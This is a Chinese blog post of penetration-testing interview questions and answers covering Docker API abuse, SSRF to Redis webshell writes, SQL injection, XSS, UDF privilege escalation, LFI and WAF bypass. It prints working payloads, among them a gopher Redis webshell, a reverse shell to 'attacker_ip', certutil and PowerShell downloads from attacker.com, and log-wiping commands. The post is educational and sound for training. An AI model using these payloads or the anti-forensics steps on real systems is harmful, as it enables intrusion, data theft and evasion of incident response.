2025年渗透测试面试题总结-拷打题库08(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库08

[1. Docker远程API漏洞原理](#1. Docker远程API漏洞原理)

[2. SSRF利用Redis写Shell](#2. SSRF利用Redis写Shell)

[3. 预编译能否100%防SQL注入?](#3. 预编译能否100%防SQL注入?)

[4. WAF绕过技术](#4. WAF绕过技术)

[5. SQL注入Payload构造](#5. SQL注入Payload构造)

[6. UDF提权原理](#6. UDF提权原理)

[7. 提权方式](#7. 提权方式)

[8. XSS弹窗函数及绕过策略](#8. XSS弹窗函数及绕过策略)

[9. Windows CMD下载文件](#9. Windows CMD下载文件)

[10. SVN/GIT源代码泄露](#10. SVN/GIT源代码泄露)

[11. reverse_tcp vs bind_tcp](#11. reverse_tcp vs bind_tcp)

[12. Fastjson漏洞](#12. Fastjson漏洞)

[13. 隐藏攻击痕迹](#13. 隐藏攻击痕迹)

[14. 常用漏洞及修复方案](#14. 常用漏洞及修复方案)

[15. 有趣的挖洞经历](#15. 有趣的挖洞经历)

[16. PHP/Java反序列化漏洞](#16. PHP/Java反序列化漏洞)

[17. 服务器入侵后应对措施](#17. 服务器入侵后应对措施)

[18. 常用工具及特点](#18. 常用工具及特点)

[19. 绕过WAF实战(SQLi)](#19. 绕过WAF实战(SQLi))

[20. 判断SQL注入方法](#20. 判断SQL注入方法)

[21. SQL注入漏洞成因与防范](#21. SQL注入漏洞成因与防范)

[22. 宽字符注入原理](#22. 宽字符注入原理)

[23. CRLF注入原理](#23. CRLF注入原理)

[24. php.ini 安全设置](#24. php.ini 安全设置)

[25. %00截断原理](#25. %00截断原理)

[26. WebShell检测方法](#26. WebShell检测方法)

[27. PHP LFI漏洞利用](#27. PHP LFI漏洞利用)

[28. 中间件解析漏洞](#28. 中间件解析漏洞)

[29. MySQL密码存储](#29. MySQL密码存储)

2025年渗透测试面试题总结-拷打题库08

复制代码
docker远程api漏洞原理
ssrf怎么用redis写shell
预编译能否100%防sql注入,如果不能,写一个
WAF绕过
SQL注入构造payload
UDF提权原理
提权方式
XSS弹窗函数及常见的XSS绕过策略
Windowscmd如何下载文件
SVN/GIT源代码泄露
reverse_tcp和bind_tcp的区别
什么是fastjson
隐藏攻击痕迹的方法
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
介绍下自认为有趣的挖洞经历
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进?sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)
如何判断sql注入,有哪些方法
如何判断SQL注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
为什么有的时候没有错误回显
宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?
CRLF注入的原理
php.ini可以设置哪些安全特性
php的%00截断的原理是什么
webshell检测,有哪些方法
php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
说说常见的中间件解析漏洞利用方式
mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?

1. Docker远程API漏洞原理

核心原理

  • Docker Remote API默认监听2375端口,若未配置认证(--tlsverify),攻击者可远程操控容器。

  • 利用场景

    复制代码
    bash# 未授权创建恶意容器挂载宿主机根目录 curl -X POST -H "Content-Type: application/json" \ -d '{"Image":"alpine", "Cmd":["/bin/sh"], "HostConfig":{"Binds":["/:/host"]}}' \ http://target:2375/containers/create 

防御方案:启用TLS认证,限制API访问IP。


2. SSRF利用Redis写Shell

步骤

  1. 探测Redis服务 :通过SSRF访问http://127.0.0.1:6379

  2. 构造HTTP协议包

    复制代码
    httpgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$35%0d%0a%0d%0a%0A<?php eval($_GET[cmd]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a 

关键点 :利用Gopher协议发送Redis命令,设置dirdbfilename写入Web目录。


3. 预编译能否100%防SQL注入?

局限性

  • 动态SQL拼接 :如存储过程内使用EXECUTE IMMEDIATE

  • 示例漏洞代码

    复制代码
    javaString query = "SELECT * FROM users WHERE id = " + request.getParameter("id"); PreparedStatement stmt = connection.prepareStatement(query); // 预编译无效 

防御方案:禁止动态拼接,全参数化查询。


4. WAF绕过技术

常见方法

  1. 编码混淆
    • URL编码:UNION%20SELECTU%6eion%53elect
  2. 注释分割SEL/**/ECT 1,2,3
  3. 超长数据绕过:填充垃圾字符触发WAF缓存溢出。
  4. 分块传输:利用HTTP分块传输拆分恶意Payload。

5. SQL注入Payload构造

经典案例

  • 时间盲注

    复制代码
    sql' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) -- 
  • 报错注入

    复制代码
    sql' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 

6. UDF提权原理

流程

  1. 编译恶意共享库(如raptor_udf2.c)为.so.dll

  2. 通过SELECT ... INTO DUMPFILE写入插件目录。

  3. 创建函数:

    复制代码
    sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so'; 

利用SELECT sys_exec('nc -e /bin/sh attacker_ip 4444');


7. 提权方式

系统 方式 示例
Linux SUID提权 find / -perm -4000 2>/dev/null
Windows 服务路径滥用 sc config VulnService binPath= "C:\shell.exe"
通用 内核漏洞(CVE-2021-4034) 利用Polkit提权

8. XSS弹窗函数及绕过策略

弹窗函数

  • alert(1)prompt(1)confirm(document.cookie)
    绕过策略
  • HTML编码<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>
  • JavaScript伪协议javascript:eval(atob('YWxlcnQoMSk='))
  • 事件处理器<svg/onload=alert(1)>

9. Windows CMD下载文件

方法

  1. CertUtil

    复制代码
    cmdcertutil -urlcache -split -f http://attacker.com/shell.exe C:\Temp\shell.exe 
  2. PowerShell

    复制代码
    powershell(New-Object Net.WebClient).DownloadFile('http://attacker.com/shell.exe', 'shell.exe') 

10. SVN/GIT源代码泄露

利用

  • Git :访问/.git/index,使用工具GitHack还原代码。
  • SVN :下载/.svn/entries解析文件列表,恢复历史版本。

11. reverse_tcp vs bind_tcp

类型 连接方向 防火墙绕过能力
reverse_tcp 目标主动连接攻击机 绕过出站限制
bind_tcp 攻击机连接目标监听端口 需入站端口开放

12. Fastjson漏洞

原理 :反序列化时自动调用@type指定类的setter/getter方法,攻击者构造恶意类触发RCE。
修复 :升级到安全版本,禁用autoType功能。


13. 隐藏攻击痕迹

方法

  1. 日志清除
    • Linux:shred -n 5 /var/log/auth.log
    • Windows:wevtutil cl Security
  2. 文件隐藏attrib +h +s C:\shell.exe
  3. 进程伪装 :将恶意进程命名为svchost.exe

14. 常用漏洞及修复方案

漏洞类型 原理 修复方案
SQL注入 未过滤用户输入拼接SQL 参数化查询 + 输入白名单
XSS 未编码输出用户可控数据 HTML实体转义 + CSP策略
反序列化 未校验反序列化对象 禁用危险类 + 数据签名校验

15. 有趣的挖洞经历

场景 :某CMS后台编辑器存在文件上传漏洞,但后缀限制为.jpg
绕过

  1. 上传图片马,利用文件包含漏洞加载PHP代码。
  2. 构造.htaccess设置AddType application/x-httpd-php .jpg
    成果:获取WebShell并横向渗透内网数据库。

16. PHP/Java反序列化漏洞

原理 :反序列化过程中自动执行__destruct()readObject()方法。
修复

  • PHP:禁用unserialize()或限制允许类。
  • Java:重写ObjectInputStream.resolveClass() 校验类名。

17. 服务器入侵后应对措施

  1. 隔离网络:断开网线或禁用网卡。
  2. 取证分析 :使用Volatility分析内存镜像。
  3. 漏洞修复:更新补丁,修复弱口令。
  4. 监控加固:部署HIDS(如Osquery)和日志审计。

18. 常用工具及特点

工具 用途 特点
Nmap 端口扫描 支持高级脚本探测服务版本
Metasploit 漏洞利用框架 模块化,集成渗透测试全流程
Sqlmap SQL注入自动化 支持多数据库,绕过WAF能力强

19. 绕过WAF实战(SQLi)

场景 :某云WAF过滤UNION SELECT
绕过

  1. 注释混淆UNI/**/ON SEL/**/ECT 1,2,3
  2. URL编码%55%4e%49%4f%4e%20%53%45%4c%45%43%54
  3. 参数污染id=1&id=2 UNION SELECT 1,2,3
    结果:成功获取管理员密码哈希。

20. 判断SQL注入方法

  1. 错误回显 :输入单引号'触发数据库错误。
  2. 布尔盲注id=1 AND 1=1 vs id=1 AND 1=2页面差异。
  3. 时间盲注id=1; IF(1=1, SLEEP(5), 0)延迟响应。

21. SQL注入漏洞成因与防范

成因 :动态拼接SQL,未过滤用户输入。
防范

  • 参数化查询(PreparedStatement)。
  • 输入验证(正则白名单)。
    其他利用 :读取系统文件(LOAD_FILE)、执行命令(UDF)。

22. 宽字符注入原理

场景 :数据库使用GBK编码,'转义为\'%5C%27)。
Payload%bf%27%bf%5C%27 → GBK解析为縗',单引号逃逸。
利用id=%bf%27 UNION SELECT 1,2,3 --


23. CRLF注入原理

示例

  • HTTP头注入/search?q=test%0d%0aSet-Cookie: hacker=1
  • 日志伪造/login?user=admin%0d%0aLogin succeeded

24. php.ini 安全设置

  • disable_functions = exec,system,passthru
  • expose_php = Off
  • open_basedir = /var/www
  • display_errors = Off

25. %00截断原理

条件 :PHP <5.3.4,magic_quotes_gpc=Off
利用 :上传文件名shell.php%00.jpg ,截断后保存为.php


26. WebShell检测方法

  1. 静态检测 :匹配eval(base64_decode等特征。
  2. 动态监控 :检测异常文件操作(如写入/tmp)。
  3. 日志分析:追踪可疑HTTP POST请求。

27. PHP LFI漏洞利用

漏洞代码

复制代码
php<?php include($_GET['page']); ?>

手工测试

  • ?page=../../../../etc/passwd

  • 无回显利用

    复制代码
    php?page=php://filter/convert.base64-encode/resource=config.php 

28. 中间件解析漏洞

中间件 漏洞 Payload
IIS 6.0 目录解析 /test.asp/logo.jpg
Apache 多后缀解析 shell.php.jpg
Nginx 路径切割(/test.jpg%20.php 配置错误导致PHP执行

29. MySQL密码存储

  • 表名mysql.user
  • 加密方式
    • mysql_native_password(SHA1)
    • caching_sha2_password(SHA256,MySQL 8.0+)
相关推荐
别让别人觉得你做不到1 小时前
Python(1) 做一个随机数的游戏
python
水银嘻嘻2 小时前
web 自动化之 KDT 关键字驱动详解
运维·自动化
小彭律师2 小时前
人脸识别门禁系统技术文档
python
熊大如如2 小时前
Java 反射
java·开发语言
Vone_662 小时前
node.js 邮箱验证服务器搭建
运维·服务器·node.js
猿来入此小猿3 小时前
基于SSM实现的健身房系统功能实现十六
java·毕业设计·ssm·毕业源码·免费学习·猿来入此·健身平台
丢丢丢丢丢丢~3 小时前
apache2的默认html修改
linux·运维·服务器
wusam3 小时前
Linux系统管理与编程20:Apache
linux·运维·服务器·apache·shell编程
我不想当小卡拉米3 小时前
【Linux】操作系统入门:冯诺依曼体系结构
linux·开发语言·网络·c++
goTsHgo3 小时前
Spring Boot 自动装配原理详解
java·spring boot